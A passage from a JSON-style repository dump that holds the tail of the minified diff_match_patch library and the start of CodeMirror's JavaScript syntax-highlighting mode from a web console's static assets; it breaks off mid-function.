\"+h);h=a.substring(e,e+=i);\"=\"==f[g].charAt(0)?c[d++]=[0,h]:c[d++]=[-1,h];break;default:if(f[g])throw Error(\"Invalid diff operation in diff_fromDelta: \"+\nf[g]);}}if(e!=a.length)throw Error(\"Delta length (\"+e+\") does not equal source text length (\"+a.length+\").\");return c};diff_match_patch.prototype.match_main=function(a,b,c){if(null==a||null==b||null==c)throw Error(\"Null input. (match_main)\");c=Math.max(0,Math.min(c,a.length));return a==b?0:a.length?a.substring(c,c+b.length)==b?c:this.match_bitap_(a,b,c):-1};\ndiff_match_patch.prototype.match_bitap_=function(a,b,c){function d(a,d){var e=a/b.length,g=Math.abs(c-d);return!f.Match_Distance?g?1:e:e+g/f.Match_Distance}if(b.length>this.Match_MaxBits)throw Error(\"Pattern too long for this browser.\");var e=this.match_alphabet_(b),f=this,g=this.Match_Threshold,h=a.indexOf(b,c);-1!=h&&(g=Math.min(d(0,h),g),h=a.lastIndexOf(b,c+b.length),-1!=h&&(g=Math.min(d(0,h),g)));for(var j=1<<b.length-1,h=-1,i,k,q=b.length+a.length,r,t=0;t<b.length;t++){i=0;for(k=q;i<k;)d(t,c+\nk)<=g?i=k:q=k,k=Math.floor((q-i)/2+i);q=k;i=Math.max(1,c-k+1);var p=Math.min(c+k,a.length)+b.length;k=Array(p+2);for(k[p+1]=(1<<t)-1;p>=i;p--){var w=e[a.charAt(p-1)];k[p]=0===t?(k[p+1]<<1|1)&w:(k[p+1]<<1|1)&w|((r[p+1]|r[p])<<1|1)|r[p+1];if(k[p]&j&&(w=d(t,p-1),w<=g))if(g=w,h=p-1,h>c)i=Math.max(1,2*c-h);else break}if(d(t+1,c)>g)break;r=k}return h};\ndiff_match_patch.prototype.match_alphabet_=function(a){for(var b={},c=0;c<a.length;c++)b[a.charAt(c)]=0;for(c=0;c<a.length;c++)b[a.charAt(c)]|=1<<a.length-c-1;return b};\ndiff_match_patch.prototype.patch_addContext_=function(a,b){if(0!=b.length){for(var c=b.substring(a.start2,a.start2+a.length1),d=0;b.indexOf(c)!=b.lastIndexOf(c)&&c.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)d+=this.Patch_Margin,c=b.substring(a.start2-d,a.start2+a.length1+d);d+=this.Patch_Margin;(c=b.substring(a.start2-d,a.start2))&&a.diffs.unshift([0,c]);(d=b.substring(a.start2+a.length1,a.start2+a.length1+d))&&a.diffs.push([0,d]);a.start1-=c.length;a.start2-=c.length;a.length1+=\nc.length+d.length;a.length2+=c.length+d.length}};\ndiff_match_patch.prototype.patch_make=function(a,b,c){var d;if(\"string\"==typeof a&&\"string\"==typeof b&&\"undefined\"==typeof c)d=a,b=this.diff_main(d,b,!0),2<b.length&&(this.diff_cleanupSemantic(b),this.diff_cleanupEfficiency(b));else if(a&&\"object\"==typeof a&&\"undefined\"==typeof b&&\"undefined\"==typeof c)b=a,d=this.diff_text1(b);else if(\"string\"==typeof a&&b&&\"object\"==typeof b&&\"undefined\"==typeof c)d=a;else if(\"string\"==typeof a&&\"string\"==typeof b&&c&&\"object\"==typeof c)d=a,b=c;else throw Error(\"Unknown call format to patch_make.\");\nif(0===b.length)return[];c=[];a=new diff_match_patch.patch_obj;for(var e=0,f=0,g=0,h=d,j=0;j<b.length;j++){var i=b[j][0],k=b[j][1];!e&&0!==i&&(a.start1=f,a.start2=g);switch(i){case 1:a.diffs[e++]=b[j];a.length2+=k.length;d=d.substring(0,g)+k+d.substring(g);break;case -1:a.length1+=k.length;a.diffs[e++]=b[j];d=d.substring(0,g)+d.substring(g+k.length);break;case 0:k.length<=2*this.Patch_Margin&&e&&b.length!=j+1?(a.diffs[e++]=b[j],a.length1+=k.length,a.length2+=k.length):k.length>=2*this.Patch_Margin&&\ne&&(this.patch_addContext_(a,h),c.push(a),a=new diff_match_patch.patch_obj,e=0,h=d,f=g)}1!==i&&(f+=k.length);-1!==i&&(g+=k.length)}e&&(this.patch_addContext_(a,h),c.push(a));return c};diff_match_patch.prototype.patch_deepCopy=function(a){for(var b=[],c=0;c<a.length;c++){var d=a[c],e=new diff_match_patch.patch_obj;e.diffs=[];for(var f=0;f<d.diffs.length;f++)e.diffs[f]=d.diffs[f].slice();e.start1=d.start1;e.start2=d.start2;e.length1=d.length1;e.length2=d.length2;b[c]=e}return b};\ndiff_match_patch.prototype.patch_apply=function(a,b){if(0==a.length)return[b,[]];a=this.patch_deepCopy(a);var c=this.patch_addPadding(a);b=c+b+c;this.patch_splitMax(a);for(var d=0,e=[],f=0;f<a.length;f++){var g=a[f].start2+d,h=this.diff_text1(a[f].diffs),j,i=-1;if(h.length>this.Match_MaxBits){if(j=this.match_main(b,h.substring(0,this.Match_MaxBits),g),-1!=j&&(i=this.match_main(b,h.substring(h.length-this.Match_MaxBits),g+h.length-this.Match_MaxBits),-1==i||j>=i))j=-1}else j=this.match_main(b,h,g);\nif(-1==j)e[f]=!1,d-=a[f].length2-a[f].length1;else if(e[f]=!0,d=j-g,g=-1==i?b.substring(j,j+h.length):b.substring(j,i+this.Match_MaxBits),h==g)b=b.substring(0,j)+this.diff_text2(a[f].diffs)+b.substring(j+h.length);else if(g=this.diff_main(h,g,!1),h.length>this.Match_MaxBits&&this.diff_levenshtein(g)/h.length>this.Patch_DeleteThreshold)e[f]=!1;else{this.diff_cleanupSemanticLossless(g);for(var h=0,k,i=0;i<a[f].diffs.length;i++){var q=a[f].diffs[i];0!==q[0]&&(k=this.diff_xIndex(g,h));1===q[0]?b=b.substring(0,\nj+k)+q[1]+b.substring(j+k):-1===q[0]&&(b=b.substring(0,j+k)+b.substring(j+this.diff_xIndex(g,h+q[1].length)));-1!==q[0]&&(h+=q[1].length)}}}b=b.substring(c.length,b.length-c.length);return[b,e]};\ndiff_match_patch.prototype.patch_addPadding=function(a){for(var b=this.Patch_Margin,c=\"\",d=1;d<=b;d++)c+=String.fromCharCode(d);for(d=0;d<a.length;d++)a[d].start1+=b,a[d].start2+=b;var d=a[0],e=d.diffs;if(0==e.length||0!=e[0][0])e.unshift([0,c]),d.start1-=b,d.start2-=b,d.length1+=b,d.length2+=b;else if(b>e[0][1].length){var f=b-e[0][1].length;e[0][1]=c.substring(e[0][1].length)+e[0][1];d.start1-=f;d.start2-=f;d.length1+=f;d.length2+=f}d=a[a.length-1];e=d.diffs;0==e.length||0!=e[e.length-1][0]?(e.push([0,\nc]),d.length1+=b,d.length2+=b):b>e[e.length-1][1].length&&(f=b-e[e.length-1][1].length,e[e.length-1][1]+=c.substring(0,f),d.length1+=f,d.length2+=f);return c};\ndiff_match_patch.prototype.patch_splitMax=function(a){for(var b=this.Match_MaxBits,c=0;c<a.length;c++)if(!(a[c].length1<=b)){var d=a[c];a.splice(c--,1);for(var e=d.start1,f=d.start2,g=\"\";0!==d.diffs.length;){var h=new diff_match_patch.patch_obj,j=!0;h.start1=e-g.length;h.start2=f-g.length;\"\"!==g&&(h.length1=h.length2=g.length,h.diffs.push([0,g]));for(;0!==d.diffs.length&&h.length1<b-this.Patch_Margin;){var g=d.diffs[0][0],i=d.diffs[0][1];1===g?(h.length2+=i.length,f+=i.length,h.diffs.push(d.diffs.shift()),\nj=!1):-1===g&&1==h.diffs.length&&0==h.diffs[0][0]&&i.length>2*b?(h.length1+=i.length,e+=i.length,j=!1,h.diffs.push([g,i]),d.diffs.shift()):(i=i.substring(0,b-h.length1-this.Patch_Margin),h.length1+=i.length,e+=i.length,0===g?(h.length2+=i.length,f+=i.length):j=!1,h.diffs.push([g,i]),i==d.diffs[0][1]?d.diffs.shift():d.diffs[0][1]=d.diffs[0][1].substring(i.length))}g=this.diff_text2(h.diffs);g=g.substring(g.length-this.Patch_Margin);i=this.diff_text1(d.diffs).substring(0,this.Patch_Margin);\"\"!==i&&\n(h.length1+=i.length,h.length2+=i.length,0!==h.diffs.length&&0===h.diffs[h.diffs.length-1][0]?h.diffs[h.diffs.length-1][1]+=i:h.diffs.push([0,i]));j||a.splice(++c,0,h)}}};diff_match_patch.prototype.patch_toText=function(a){for(var b=[],c=0;c<a.length;c++)b[c]=a[c];return b.join(\"\")};\ndiff_match_patch.prototype.patch_fromText=function(a){var b=[];if(!a)return b;a=a.split(\"\\n\");for(var c=0,d=/^@@ -(\\d+),?(\\d*) \\+(\\d+),?(\\d*) @@$/;c<a.length;){var e=a[c].match(d);if(!e)throw Error(\"Invalid patch string: \"+a[c]);var f=new diff_match_patch.patch_obj;b.push(f);f.start1=parseInt(e[1],10);\"\"===e[2]?(f.start1--,f.length1=1):\"0\"==e[2]?f.length1=0:(f.start1--,f.length1=parseInt(e[2],10));f.start2=parseInt(e[3],10);\"\"===e[4]?(f.start2--,f.length2=1):\"0\"==e[4]?f.length2=0:(f.start2--,f.length2=\nparseInt(e[4],10));for(c++;c<a.length;){e=a[c].charAt(0);try{var g=decodeURI(a[c].substring(1))}catch(h){throw Error(\"Illegal escape in patch_fromText: \"+g);}if(\"-\"==e)f.diffs.push([-1,g]);else if(\"+\"==e)f.diffs.push([1,g]);else if(\" \"==e)f.diffs.push([0,g]);else if(\"@\"==e)break;else if(\"\"!==e)throw Error('Invalid patch mode \"'+e+'\" in: '+g);c++}}return b};diff_match_patch.patch_obj=function(){this.diffs=[];this.start2=this.start1=null;this.length2=this.length1=0};\ndiff_match_patch.patch_obj.prototype.toString=function(){var a,b;a=0===this.length1?this.start1+\",0\":1==this.length1?this.start1+1:this.start1+1+\",\"+this.length1;b=0===this.length2?this.start2+\",0\":1==this.length2?this.start2+1:this.start2+1+\",\"+this.length2;a=[\"@@ -\"+a+\" +\"+b+\" @@\\n\"];var c;for(b=0;b<this.diffs.length;b++){switch(this.diffs[b][0]){case 1:c=\"+\";break;case -1:c=\"-\";break;case 0:c=\" \"}a[b+1]=c+encodeURI(this.diffs[b][1])+\"\\n\"}return a.join(\"\").replace(/%20/g,\" \")};\nthis.diff_match_patch=diff_match_patch;this.DIFF_DELETE=-1;this.DIFF_INSERT=1;this.DIFF_EQUAL=0;})()\n"
  },
  {
    "path": "console/src/main/resources/static/console-ui/public/js/javascript.js",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n(function(mod) {\n  if (typeof exports == \"object\" && typeof module == \"object\") // CommonJS\n    mod(require(\"../../lib/codemirror\"));\n  else if (typeof define == \"function\" && define.amd) // AMD\n    define([\"../../lib/codemirror\"], mod);\n  else // Plain browser env\n    mod(CodeMirror);\n})(function(CodeMirror) {\n\"use strict\";\n\nfunction expressionAllowed(stream, state, backUp) {\n  return /^(?:operator|sof|keyword c|case|new|export|default|[\\[{}\\(,;:]|=>)$/.test(state.lastType) ||\n    (state.lastType == \"quasi\" && /\\{\\s*$/.test(stream.string.slice(0, stream.pos - (backUp || 0))))\n}\n\nCodeMirror.defineMode(\"javascript\", function(config, parserConfig) {\n  var indentUnit = config.indentUnit;\n  var statementIndent = parserConfig.statementIndent;\n  var jsonldMode = parserConfig.jsonld;\n  var jsonMode = parserConfig.json || jsonldMode;\n  var isTS = parserConfig.typescript;\n  var wordRE = parserConfig.wordCharacters || /[\\w$\\xa1-\\uffff]/;\n\n  // Tokenizer\n\n  var keywords = function(){\n    function kw(type) {return {type: type, style: \"keyword\"};}\n    var A = kw(\"keyword a\"), B = kw(\"keyword b\"), C = kw(\"keyword c\");\n    var operator = kw(\"operator\"), atom = {type: \"atom\", style: \"atom\"};\n\n    var jsKeywords = {\n      \"if\": kw(\"if\"), \"while\": A, \"with\": A, \"else\": B, \"do\": B, \"try\": B, \"finally\": B,\n      \"return\": C, \"break\": C, \"continue\": C, \"new\": kw(\"new\"), \"delete\": C, \"throw\": C, \"debugger\": C,\n      \"var\": kw(\"var\"), \"const\": kw(\"var\"), \"let\": kw(\"var\"),\n      \"function\": kw(\"function\"), \"catch\": kw(\"catch\"),\n      \"for\": kw(\"for\"), \"switch\": kw(\"switch\"), \"case\": kw(\"case\"), \"default\": kw(\"default\"),\n      \"in\": operator, \"typeof\": operator, \"instanceof\": operator,\n      \"true\": atom, \"false\": atom, \"null\": atom, \"undefined\": atom, \"NaN\": atom, \"Infinity\": atom,\n      \"this\": kw(\"this\"), \"class\": kw(\"class\"), \"super\": kw(\"atom\"),\n      \"yield\": C, \"export\": kw(\"export\"), \"import\": kw(\"import\"), \"extends\": C,\n      \"await\": C\n    };\n\n    // Extend the 'normal' keywords with the TypeScript language extensions\n    if (isTS) {\n      var type = {type: \"variable\", style: \"type\"};\n      var tsKeywords = {\n        // object-like things\n        \"interface\": kw(\"class\"),\n        \"implements\": C,\n        \"namespace\": C,\n        \"module\": kw(\"module\"),\n        \"enum\": kw(\"module\"),\n\n        // scope modifiers\n        \"public\": kw(\"modifier\"),\n        \"private\": kw(\"modifier\"),\n        \"protected\": kw(\"modifier\"),\n        \"abstract\": kw(\"modifier\"),\n\n        // types\n        \"string\": type, \"number\": type, \"boolean\": type, \"any\": type\n      };\n\n      for (var attr in tsKeywords) {\n        jsKeywords[attr] = tsKeywords[attr];\n      }\n    }\n\n    return jsKeywords;\n  }();\n\n  var isOperatorChar = /[+\\-*&%=<>!?|~^@]/;\n  var isJsonldKeyword = /^@(context|id|value|language|type|container|list|set|reverse|index|base|vocab|graph)\"/;\n\n  function readRegexp(stream) {\n    var escaped = false, next, inSet = false;\n    while ((next = stream.next()) != null) {\n      if (!escaped) {\n        if (next == \"/\" && !inSet) return;\n        if (next == \"[\") inSet = true;\n        else if (inSet && next == \"]\") inSet = false;\n      }\n      escaped = !escaped && next == \"\\\\\";\n    }\n  }\n\n  // Used as scratch variables to communicate multiple values without\n  // consing up tons of objects.\n  var type, content;\n  function ret(tp, style, cont) {\n    type = tp; content = cont;\n    return style;\n  }\n  function tokenBase(stream, state) {\n    var ch = stream.next();\n    if (ch == '\"' || ch == \"'\") {\n      state.tokenize = tokenString(ch);\n      return state.tokenize(stream, state);\n    } else if (ch == \".\" && stream.match(/^\\d+(?:[eE][+\\-]?\\d+)?/)) {\n      return ret(\"number\", \"number\");\n    } else if (ch == \".\" && stream.match(\"..\")) {\n      return ret(\"spread\", \"meta\");\n    } else if (/[\\[\\]{}\\(\\),;\\:\\.]/.test(ch)) {\n      return ret(ch);\n    } else if (ch == \"=\" && stream.eat(\">\")) {\n      return ret(\"=>\", \"operator\");\n    } else if (ch == \"0\" && stream.eat(/x/i)) {\n      stream.eatWhile(/[\\da-f]/i);\n      return ret(\"number\", \"number\");\n    } else if (ch == \"0\" && stream.eat(/o/i)) {\n      stream.eatWhile(/[0-7]/i);\n      return ret(\"number\", \"number\");\n    } else if (ch == \"0\" && stream.eat(/b/i)) {\n      stream.eatWhile(/[01]/i);\n      return ret(\"number\", \"number\");\n    } else if (/\\d/.test(ch)) {\n      stream.match(/^\\d*(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/);\n      return ret(\"number\", \"number\");\n    } else if (ch == \"/\") {\n      if (stream.eat(\"*\")) {\n        state.tokenize = tokenComment;\n        return tokenComment(stream, state);\n      } else if (stream.eat(\"/\")) {\n        stream.skipToEnd();\n        return ret(\"comment\", \"comment\");\n      } else if (expressionAllowed(stream, state, 1)) {\n        readRegexp(stream);\n        stream.match(/^\\b(([gimyu])(?![gimyu]*\\2))+\\b/);\n        return ret(\"regexp\", \"string-2\");\n      } else {\n        stream.eatWhile(isOperatorChar);\n        return ret(\"operator\", \"operator\", stream.current());\n      }\n    } else if (ch == \"`\") {\n      state.tokenize = tokenQuasi;\n      return tokenQuasi(stream, state);\n    } else if (ch == \"#\") {\n      stream.skipToEnd();\n      return ret(\"error\", \"error\");\n    } else if (isOperatorChar.test(ch)) {\n      if (ch != \">\" || !state.lexical || state.lexical.type != \">\")\n        stream.eatWhile(isOperatorChar);\n      return ret(\"operator\", \"operator\", stream.current());\n    } else if (wordRE.test(ch)) {\n      stream.eatWhile(wordRE);\n      var word = stream.current()\n      if (state.lastType != \".\") {\n        if (keywords.propertyIsEnumerable(word)) {\n          var kw = keywords[word]\n          return ret(kw.type, kw.style, word)\n        }\n        if (word == \"async\" && stream.match(/^\\s*[\\(\\w]/, false))\n          return ret(\"async\", \"keyword\", word)\n      }\n      return ret(\"variable\", \"variable\", word)\n    }\n  }\n\n  function tokenString(quote) {\n    return function(stream, state) {\n      var escaped = false, next;\n      if (jsonldMode && stream.peek() == \"@\" && stream.match(isJsonldKeyword)){\n        state.tokenize = tokenBase;\n        return ret(\"jsonld-keyword\", \"meta\");\n      }\n      while ((next = stream.next()) != null) {\n        if (next == quote && !escaped) break;\n        escaped = !escaped && next == \"\\\\\";\n      }\n      if (!escaped) state.tokenize = tokenBase;\n      return ret(\"string\", \"string\");\n    };\n  }\n\n  function tokenComment(stream, state) {\n    var maybeEnd = false, ch;\n    while (ch = stream.next()) {\n      if (ch == \"/\" && maybeEnd) {\n        state.tokenize = tokenBase;\n        break;\n      }\n      maybeEnd = (ch == \"*\");\n    }\n    return ret(\"comment\", \"comment\");\n  }\n\n  function tokenQuasi(stream, state) {\n    var escaped = false, next;\n    while ((next = stream.next()) != null) {\n      if (!escaped && (next == \"`\" || next == \"$\" && stream.eat(\"{\"))) {\n        state.tokenize = tokenBase;\n        break;\n      }\n      escaped = !escaped && next == \"\\\\\";\n    }\n    return ret(\"quasi\", \"string-2\", stream.current());\n  }\n\n  var brackets = \"([{}])\";\n  // This is a crude lookahead trick to try and notice that we're\n  // parsing the argument patterns for a fat-arrow function before we\n  // actually hit the arrow token. It only works if the arrow is on\n  // the same line as the arguments and there's no strange noise\n  // (comments) in between. Fallback is to only notice when we hit the\n  // arrow, and not declare the arguments as locals for the arrow\n  // body.\n  function findFatArrow(stream, state) {\n    if (state.fatArrowAt) state.fatArrowAt = null;\n    var arrow = stream.string.indexOf(\"=>\", stream.start);\n    if (arrow < 0) return;\n\n    if (isTS) { // Try to skip TypeScript return type declarations after the arguments\n      var m = /:\\s*(?:\\w+(?:<[^>]*>|\\[\\])?|\\{[^}]*\\})\\s*$/.exec(stream.string.slice(stream.start, arrow))\n      if (m) arrow = m.index\n    }\n\n    var depth = 0, sawSomething = false;\n    for (var pos = arrow - 1; pos >= 0; --pos) {\n      var ch = stream.string.charAt(pos);\n      var bracket = brackets.indexOf(ch);\n      if (bracket >= 0 && bracket < 3) {\n        if (!depth) { ++pos; break; }\n        if (--depth == 0) { if (ch == \"(\") sawSomething = true; break; }\n      } else if (bracket >= 3 && bracket < 6) {\n        ++depth;\n      } else if (wordRE.test(ch)) {\n        sawSomething = true;\n      } else if (/[\"'\\/]/.test(ch)) {\n        return;\n      } else if (sawSomething && !depth) {\n        ++pos;\n        break;\n      }\n    }\n    if (sawSomething && !depth) state.fatArrowAt = pos;\n  }\n\n  // Parser\n\n  var atomicTypes = {\"atom\": true, \"number\": true, \"variable\": true, \"string\": true, \"regexp\": true, \"this\": true, \"jsonld-keyword\": true};\n\n  function JSLexical(indented, column, type, align, prev, info) {\n    this.indented = indented;\n    this.column = column;\n    this.type = type;\n    this.prev = prev;\n    this.info = info;\n    if (align != null) this.align = align;\n  }\n\n  function inScope(state, varname) {\n    for (var v = state.localVars; v; v = v.next)\n      if (v.name == varname) return true;\n    for (var cx = state.context; cx; cx = cx.prev) {\n      for (var v = cx.vars; v; v = v.next)\n        if (v.name == varname) return true;\n    }\n  }\n\n  function parseJS(state, style, type, content, stream) {\n    var cc = state.cc;\n    // Communicate our context to the combinators.\n    // (Less wasteful than consing up a hundred closures on every call.)\n    cx.state = state; cx.stream = stream; cx.marked = null, cx.cc = cc; cx.style = style;\n\n    if (!state.lexical.hasOwnProperty(\"align\"))\n      state.lexical.align = true;\n\n    while(true) {\n      var combinator = cc.length ? cc.pop() : jsonMode ? expression : statement;\n      if (combinator(type, content)) {\n        while(cc.length && cc[cc.length - 1].lex)\n          cc.pop()();\n        if (cx.marked) return cx.marked;\n        if (type == \"variable\" && inScope(state, content)) return \"variable-2\";\n        return style;\n      }\n    }\n  }\n\n  // Combinator utils\n\n  var cx = {state: null, column: null, marked: null, cc: null};\n  function pass() {\n    for (var i = arguments.length - 1; i >= 0; i--) cx.cc.push(arguments[i]);\n  }\n  function cont() {\n    pass.apply(null, arguments);\n    return true;\n  }\n  function register(varname) {\n    function inList(list) {\n      for (var v = list; v; v = v.next)\n        if (v.name == varname) return true;\n      return false;\n    }\n    var state = cx.state;\n    cx.marked = \"def\";\n    if (state.context) {\n      if (inList(state.localVars)) return;\n      state.localVars = {name: varname, next: state.localVars};\n    } else {\n      if (inList(state.globalVars)) return;\n      if (parserConfig.globalVars)\n        state.globalVars = {name: varname, next: state.globalVars};\n    }\n  }\n\n  // Combinators\n\n  var defaultVars = {name: \"this\", next: {name: \"arguments\"}};\n  function pushcontext() {\n    cx.state.context = {prev: cx.state.context, vars: cx.state.localVars};\n    cx.state.localVars = defaultVars;\n  }\n  function popcontext() {\n    cx.state.localVars = cx.state.context.vars;\n    cx.state.context = cx.state.context.prev;\n  }\n  function pushlex(type, info) {\n    var result = function() {\n      var state = cx.state, indent = state.indented;\n      if (state.lexical.type == \"stat\") indent = state.lexical.indented;\n      else for (var outer = state.lexical; outer && outer.type == \")\" && outer.align; outer = outer.prev)\n        indent = outer.indented;\n      state.lexical = new JSLexical(indent, cx.stream.column(), type, null, state.lexical, info);\n    };\n    result.lex = true;\n    return result;\n  }\n  function poplex() {\n    var state = cx.state;\n    if (state.lexical.prev) {\n      if (state.lexical.type == \")\")\n        state.indented = state.lexical.indented;\n      state.lexical = state.lexical.prev;\n    }\n  }\n  poplex.lex = true;\n\n  function expect(wanted) {\n    function exp(type) {\n      if (type == wanted) return cont();\n      else if (wanted == \";\") return pass();\n      else return cont(exp);\n    };\n    return exp;\n  }\n\n  function statement(type, value) {\n    if (type == \"var\") return cont(pushlex(\"vardef\", value.length), vardef, expect(\";\"), poplex);\n    if (type == \"keyword a\") return cont(pushlex(\"form\"), parenExpr, statement, poplex);\n    if (type == \"keyword b\") return cont(pushlex(\"form\"), statement, poplex);\n    if (type == \"{\") return cont(pushlex(\"}\"), block, poplex);\n    if (type == \";\") return cont();\n    if (type == \"if\") {\n      if (cx.state.lexical.info == \"else\" && cx.state.cc[cx.state.cc.length - 1] == poplex)\n        cx.state.cc.pop()();\n      return cont(pushlex(\"form\"), parenExpr, statement, poplex, maybeelse);\n    }\n    if (type == \"function\") return cont(functiondef);\n    if (type == \"for\") return cont(pushlex(\"form\"), forspec, statement, poplex);\n    if (type == \"variable\") {\n      if (isTS && value == \"type\") {\n        cx.marked = \"keyword\"\n        return cont(typeexpr, expect(\"operator\"), typeexpr, expect(\";\"));\n      } else {\n        return cont(pushlex(\"stat\"), maybelabel);\n      }\n    }\n    if (type == \"switch\") return cont(pushlex(\"form\"), parenExpr, expect(\"{\"), pushlex(\"}\", \"switch\"),\n                                      block, poplex, poplex);\n    if (type == \"case\") return cont(expression, expect(\":\"));\n    if (type == \"default\") return cont(expect(\":\"));\n    if (type == \"catch\") return cont(pushlex(\"form\"), pushcontext, expect(\"(\"), funarg, expect(\")\"),\n                                     statement, poplex, popcontext);\n    if (type == \"class\") return cont(pushlex(\"form\"), className, poplex);\n    if (type == \"export\") return cont(pushlex(\"stat\"), afterExport, poplex);\n    if (type == \"import\") return cont(pushlex(\"stat\"), afterImport, poplex);\n    if (type == \"module\") return cont(pushlex(\"form\"), pattern, expect(\"{\"), pushlex(\"}\"), block, poplex, poplex)\n    if (type == \"async\") return cont(statement)\n    if (value == \"@\") return cont(expression, statement)\n    return pass(pushlex(\"stat\"), expression, expect(\";\"), poplex);\n  }\n  function expression(type) {\n    return expressionInner(type, false);\n  }\n  function expressionNoComma(type) {\n    return expressionInner(type, true);\n  }\n  function parenExpr(type) {\n    if (type != \"(\") return pass()\n    return cont(pushlex(\")\"), expression, expect(\")\"), poplex)\n  }\n  function expressionInner(type, noComma) {\n    if (cx.state.fatArrowAt == cx.stream.start) {\n      var body = noComma ? arrowBodyNoComma : arrowBody;\n      if (type == \"(\") return cont(pushcontext, pushlex(\")\"), commasep(pattern, \")\"), poplex, expect(\"=>\"), body, popcontext);\n      else if (type == \"variable\") return pass(pushcontext, pattern, expect(\"=>\"), body, popcontext);\n    }\n\n    var maybeop = noComma ? maybeoperatorNoComma : maybeoperatorComma;\n    if (atomicTypes.hasOwnProperty(type)) return cont(maybeop);\n    if (type == \"function\") return cont(functiondef, maybeop);\n    if (type == \"class\") return cont(pushlex(\"form\"), classExpression, poplex);\n    if (type == \"keyword c\" || type == \"async\") return cont(noComma ? maybeexpressionNoComma : maybeexpression);\n    if (type == \"(\") return cont(pushlex(\")\"), maybeexpression, expect(\")\"), poplex, maybeop);\n    if (type == \"operator\" || type == \"spread\") return cont(noComma ? expressionNoComma : expression);\n    if (type == \"[\") return cont(pushlex(\"]\"), arrayLiteral, poplex, maybeop);\n    if (type == \"{\") return contCommasep(objprop, \"}\", null, maybeop);\n    if (type == \"quasi\") return pass(quasi, maybeop);\n    if (type == \"new\") return cont(maybeTarget(noComma));\n    return cont();\n  }\n  function maybeexpression(type) {\n    if (type.match(/[;\\}\\)\\],]/)) return pass();\n    return pass(expression);\n  }\n  function maybeexpressionNoComma(type) {\n    if (type.match(/[;\\}\\)\\],]/)) return pass();\n    return pass(expressionNoComma);\n  }\n\n  function maybeoperatorComma(type, value) {\n    if (type == \",\") return cont(expression);\n    return maybeoperatorNoComma(type, value, false);\n  }\n  function maybeoperatorNoComma(type, value, noComma) {\n    var me = noComma == false ? maybeoperatorComma : maybeoperatorNoComma;\n    var expr = noComma == false ? expression : expressionNoComma;\n    if (type == \"=>\") return cont(pushcontext, noComma ? arrowBodyNoComma : arrowBody, popcontext);\n    if (type == \"operator\") {\n      if (/\\+\\+|--/.test(value)) return cont(me);\n      if (value == \"?\") return cont(expression, expect(\":\"), expr);\n      return cont(expr);\n    }\n    if (type == \"quasi\") { return pass(quasi, me); }\n    if (type == \";\") return;\n    if (type == \"(\") return contCommasep(expressionNoComma, \")\", \"call\", me);\n    if (type == \".\") return cont(property, me);\n    if (type == \"[\") return cont(pushlex(\"]\"), maybeexpression, expect(\"]\"), poplex, me);\n    if (isTS && value == \"as\") { cx.marked = \"keyword\"; return cont(typeexpr, me) }\n  }\n  function quasi(type, value) {\n    if (type != \"quasi\") return pass();\n    if (value.slice(value.length - 2) != \"${\") return cont(quasi);\n    return cont(expression, continueQuasi);\n  }\n  function continueQuasi(type) {\n    if (type == \"}\") {\n      cx.marked = \"string-2\";\n      cx.state.tokenize = tokenQuasi;\n      return cont(quasi);\n    }\n  }\n  function arrowBody(type) {\n    findFatArrow(cx.stream, cx.state);\n    return pass(type == \"{\" ? statement : expression);\n  }\n  function arrowBodyNoComma(type) {\n    findFatArrow(cx.stream, cx.state);\n    return pass(type == \"{\" ? statement : expressionNoComma);\n  }\n  function maybeTarget(noComma) {\n    return function(type) {\n      if (type == \".\") return cont(noComma ? targetNoComma : target);\n      else return pass(noComma ? expressionNoComma : expression);\n    };\n  }\n  function target(_, value) {\n    if (value == \"target\") { cx.marked = \"keyword\"; return cont(maybeoperatorComma); }\n  }\n  function targetNoComma(_, value) {\n    if (value == \"target\") { cx.marked = \"keyword\"; return cont(maybeoperatorNoComma); }\n  }\n  function maybelabel(type) {\n    if (type == \":\") return cont(poplex, statement);\n    return pass(maybeoperatorComma, expect(\";\"), poplex);\n  }\n  function property(type) {\n    if (type == \"variable\") {cx.marked = \"property\"; return cont();}\n  }\n  function objprop(type, value) {\n    if (type == \"async\") {\n      cx.marked = \"property\";\n      return cont(objprop);\n    } else if (type == \"variable\" || cx.style == \"keyword\") {\n      cx.marked = \"property\";\n      if (value == \"get\" || value == \"set\") return cont(getterSetter);\n      return cont(afterprop);\n    } else if (type == \"number\" || type == \"string\") {\n      cx.marked = jsonldMode ? \"property\" : (cx.style + \" property\");\n      return cont(afterprop);\n    } else if (type == \"jsonld-keyword\") {\n      return cont(afterprop);\n    } else if (type == \"modifier\") {\n      return cont(objprop)\n    } else if (type == \"[\") {\n      return cont(expression, expect(\"]\"), afterprop);\n    } else if (type == \"spread\") {\n      return cont(expression, afterprop);\n    } else if (type == \":\") {\n      return pass(afterprop)\n    }\n  }\n  function getterSetter(type) {\n    if (type != \"variable\") return pass(afterprop);\n    cx.marked = \"property\";\n    return cont(functiondef);\n  }\n  function afterprop(type) {\n    if (type == \":\") return cont(expressionNoComma);\n    if (type == \"(\") return pass(functiondef);\n  }\n  function commasep(what, end, sep) {\n    function proceed(type, value) {\n      if (sep ? sep.indexOf(type) > -1 : type == \",\") {\n        var lex = cx.state.lexical;\n        if (lex.info == \"call\") lex.pos = (lex.pos || 0) + 1;\n        return cont(function(type, value) {\n          if (type == end || value == end) return pass()\n          return pass(what)\n        }, proceed);\n      }\n      if (type == end || value == end) return cont();\n      return cont(expect(end));\n    }\n    return function(type, value) {\n      if (type == end || value == end) return cont();\n      return pass(what, proceed);\n    };\n  }\n  function contCommasep(what, end, info) {\n    for (var i = 3; i < arguments.length; i++)\n      cx.cc.push(arguments[i]);\n    return cont(pushlex(end, info), commasep(what, end), poplex);\n  }\n  function block(type) {\n    if (type == \"}\") return cont();\n    return pass(statement, block);\n  }\n  function maybetype(type, value) {\n    if (isTS) {\n      if (type == \":\") return cont(typeexpr);\n      if (value == \"?\") return cont(maybetype);\n    }\n  }\n  function typeexpr(type) {\n    if (type == \"variable\") {cx.marked = \"type\"; return cont(afterType);}\n    if (type 